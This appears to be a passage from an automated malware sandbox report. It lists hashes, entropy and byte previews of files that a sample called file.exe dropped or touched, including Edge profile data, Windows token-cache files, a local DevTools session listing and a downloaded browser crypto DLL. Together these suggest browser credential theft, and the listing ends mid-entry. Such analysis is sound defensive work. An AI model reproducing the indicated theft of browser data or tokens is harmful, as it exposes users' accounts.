Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.023027446172409
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclUgyNcoiy:YWLSGTt1o9LuLgfGBPAzkVj/T8lUgyNb
MD5:	79D0FB03A3E9DFB6F804034E87220AC3
SHA1:	D4EA08EFE2FB5CF4764E8BE944262431BD249EE5
SHA-256:	D25C6CCDBB1E37E2850DA775A2C5A153D5914FC378751E35AAD0EC38E14BB89B
SHA-512:	E8188B4D33E02DFBCCBCBC8DEE0466FBE3F3A43F0059BBC9238045EF08C45A15266F51DFAA01063C64BE1747DB68BF2F175F4B7FD7DA68E7735C3292FC7C257D
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1731944128943874}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\aa50b78c-c42b-4046-be2f-54058cfd26b9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45696
Entropy (8bit):	6.089192507032057
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQgx9EpNuchDO6vP6OXlMbcrU9EpCFrqtECAoVGoup1Xl3jVzXrI:mMk1rT8HR9Ea6U/RoVhu3VlXr4f
MD5:	F8F7464866955436FBE86A54FCA69C47
SHA1:	6A8A5BB26FD4B1245C23B7E40B5A41BD957A3931
SHA-256:	4EDB14AD1364B59180762AFE5209EC3A4611AFCA09CCD18A414E74DF8416ACCF
SHA-512:	663D6FD4A7F1AA56545E2949B5FD7F40351056698146F27DEA291910F26253CEE65F1E15AAEDE42E8ED63AF239396CDE6B04B419B9788AF641AD85AAD6794B0E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b1b8c6ba-1f19-4213-8fc7-c45f0cc7792f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44690
Entropy (8bit):	6.096624134505369
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkB2wuvhDO6vP6OXlMbcrU9EpCcGoup1Xl3jVzXr4CW:z/Ps+wsI7yOEB6Uchu3VlXr4CRo1
MD5:	A56128D667646D6FF9E2524BAE8E3E6A
SHA1:	EE11F6032AC3ACA048BBE73D95E510F7917741F7
SHA-256:	27312196DCE28A6C6700A11C668192B91E115647E18E5D1D4EC87C6D71A73276
SHA-512:	FCC4E24C0F5D3CEE4F23DD1AD4A5B9CB36E9A999CA1B01D2476D75E676ECB5D2F9965EF768616C749B14524AE907EEC77D5E6A73B7EBD7E7E9616DF2A5A322FC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b6c18db1-e447-4374-830c-ac3de98a2470.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44608
Entropy (8bit):	6.096979252535273
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBywuvhDO6vP6OX935q3OFlcGoup1Xl3jVzXr4CCAg:z/Ps+wsI7ynEd6Pchu3VlXr4CRo1
MD5:	E6F1CC7823816A7A8E530D493EE9F86D
SHA1:	3EE9CE27A5A4A77AB4DFBFF2BE1E66CCEFDB2929
SHA-256:	6AFABB5252A0817CE0F915939E68671368B557854D244CD3F5FABED2B7FE7B9D
SHA-512:	962764CEEDDD4F11A9CBFF864BA6D5C7403BC62E37BFAA39DA688EC4DBA67966261E45670C87E1D039F843C4F6F39CD10D23DFEA4C1D115ADA00165ABE0156E2
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ea25ab85-53c8-48a3-9c91-eca722d971fb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44608
Entropy (8bit):	6.096979252535273
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBywuvhDO6vP6OX935q3OFlcGoup1Xl3jVzXr4CCAg:z/Ps+wsI7ynEd6Pchu3VlXr4CRo1
MD5:	E6F1CC7823816A7A8E530D493EE9F86D
SHA1:	3EE9CE27A5A4A77AB4DFBFF2BE1E66CCEFDB2929
SHA-256:	6AFABB5252A0817CE0F915939E68671368B557854D244CD3F5FABED2B7FE7B9D
SHA-512:	962764CEEDDD4F11A9CBFF864BA6D5C7403BC62E37BFAA39DA688EC4DBA67966261E45670C87E1D039F843C4F6F39CD10D23DFEA4C1D115ADA00165ABE0156E2
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\eee1c6b4-9f84-41fd-8352-2ab138714478.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090744933485689
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM1wuF9hDO6vP6O+3tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEh6+tbz8hu3VlXr4CRo1
MD5:	222EA5EBF62C29C6C0B4803FB7AE004D
SHA1:	8CF8D04261D6A5FE509551D5CABC82DEEDF1D5B8
SHA-256:	F99ED33AD9EB162816FD58DDDABE6C091FF1065CFA24C23A6E270DC51977B2C5
SHA-512:	13B73658C6E348E2E32A0A82B4C8DB6C15AD232B31EC7FA3CD52681D5036AAB4F92885C5871A77684BA0CC9973CEBA4FDA5BF6049F7E12C338E27E7C521CDA6A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8484411775690437
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxpxl9Il8uU7571d8BFMaAVdSe44x7zd1rc:mcYC7571d8BFMF4eT7U
MD5:	EB7512C087EA5DEEF3E248B1DFCD7A1E
SHA1:	2C727A52511220CD995646C3D641E69960A31A93
SHA-256:	1E7B7E014102CF2C34DDE006D8A1801B96E9722D64A7DC708B27932D1CE75F2B
SHA-512:	EC468349D9E333C37057ACBA41AF932442A5B68A653A341D4B53B2EF9C94FE55FAE2B085685C01B79F8AA06370967130D93694ED10E36669C5AFAECBC9DF96F2
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.G.i.7.L.u.0.4.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.W.V.e.F.b.l.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.000130261887225
Encrypted:	false
SSDEEP:	96:5AYC7/mCicK/TXW5hLnGUOn05F1NB62hG0l2E:5A7O905r62
MD5:	FE2C38E97F3AF4B0766627D80571082C
SHA1:	825145D63452823434B3CC8A50DD6DA5CBC7596D
SHA-256:	0E50CCB57D84761E5B4F0C7D20E22AB7F6F0534CBEA74BE3119D1AEE04052BF8
SHA-512:	A4355C89A98617CB0BCE277A6EAD104E4180FF305F76BC7831084281837CDE39996C7429C5C8F806C4C81A288C1CDB98BC1C9FB47C94715AEE9A2F6A41815C1C
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".R.M.N./.F.O.U.4.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.W.V.e.F.b.l.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.8977345384950075
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7x2xl9Il8uU7LhObDhQjAP0tkMqDI1Et3R6td/vc:acYC7LhOb7sWI1c3Yc
MD5:	334C4DF1ACF5030EB44335F1AFFDA717
SHA1:	A0346E2C0023ECE6373CBC996AE32AE8F2AD465B
SHA-256:	70BBED62568CB50952B42C98A1CFD5488C76D170AFFFEDE128A4A7C16017EEC3
SHA-512:	5F4FDDDCD8DE8A1E76561EFF31F5B062E77B615FB9C2D0D613A9E21E41DE53DB6BE8A96B736D11D478BAF36FE9BDCB9357FAB9E0148CC5F8335D16717B9DC612
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".B.f.i.L.R.b.Z.X.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.W.V.e.F.b.l.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.394500576269538
Encrypted:	false
SSDEEP:	96:6NnQU99HQUyNnQC4/qbQChNnQ89QLNnQtdgEQYNnQoQkNnQwDQ9NnQXxKwQXRNnF:6Nn9FyNVNWN8dN/NduNLVNF
MD5:	8C37D27D25C8CB5A3F2ED52AE906038A
SHA1:	40B938F1C7D52F81D0AF546E62239A21CC05DC10
SHA-256:	EB7719B5167993024A669037B0D4E25A766558FFEADCF6422F215A55B44552F8
SHA-512:	67F8F70BD13C68AA66D234E6AC562FBD5B74C7F8620143C89D274C95306F44644F075CFA6ADABCF1724760580C62C8B9053BC04CECC36A0E344B6449062300F9
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/20A087B23FE5A7605905DEA998CCBCC6",.. "id": "20A087B23FE5A7605905DEA998CCBCC6",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/20A087B23FE5A7605905DEA998CCBCC6"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/160158B90710962F97C2018173AFF530",.. "id": "160158B90710962F97C2018173AFF530",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/160158B90710962F97C2018173AFF530"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
